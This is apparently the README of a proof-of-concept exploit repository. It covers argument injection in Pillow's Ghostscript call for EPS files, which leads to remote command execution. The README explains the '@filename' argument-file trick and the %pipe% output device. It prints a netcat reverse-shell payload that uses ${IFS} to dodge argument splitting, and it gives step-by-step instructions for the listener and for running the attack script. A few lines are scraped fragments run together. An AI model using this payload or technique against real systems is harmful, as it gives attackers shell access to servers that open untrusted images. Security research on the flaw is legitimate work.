
Proof of Concept (PoC) demonstrating Argument Injection in Pillow's Ghostscript call (Pillow < 13.0.0) potentially leading to arbitrary command execution (RCE).
Proof of Concept (PoC) demonstrating Argument Injection in Pillow's Ghostscript call (Pillow < 13.0.0) potentially leading to arbitrary command execution (RCE).
Read the detailed breakdown of the CVE on Avyukt Security here
PIL.Image)< 13.0.0Linux-7.1.5 (Kali Linux)In vulnerable versions of Pillow (< 13.0.0), passing an EPS filename beginning with an @ sign or hyphenated flags can cause Ghostscript to treat the filename as an option or an argument-file (@filename) directive. When combined with Ghostscript command-line switches like -sOutputFile=%pipe%..., this can allow argument injection and arbitrary code execution upon loading the image via Image.open().load().
The script uses a two-stage file creation and Ghostscript's %pipe% device command execution:
@image.eps): Creates @image.eps with valid EPS headers. When opened by Pillow, Ghostscript interprets the leading @ as an argument file directive instructing it to read command options from image.eps.image.eps): Writes Ghostscript directives setting -sOutputFile=%pipe%... with the payload:
nc${IFS}<IP>${IFS}<PORT>${IFS}-e${IFS}/usr/bin/sh
${IFS} is used to avoid space-delimited argument-parsing breakage. When im.load() invokes Ghostscript, the %pipe% handler executes the Netcat command and spawns a reverse shell back to the listener.Configure Listener & Target:
Edit poc.py with your listening IP and port:
IP = "YOUR_IP"
PORT = "YOUR_PORT"
Start a Netcat listener on your machine:
nc -lvnp <YOUR_PORT>
Run the PoC:
python poc.py
This repository and script are created for educational and defensive security research purposes only. Unauthorized testing against target systems without prior mutual consent is strictly illegal. The author assumes no liability for misuse or damage caused by this program.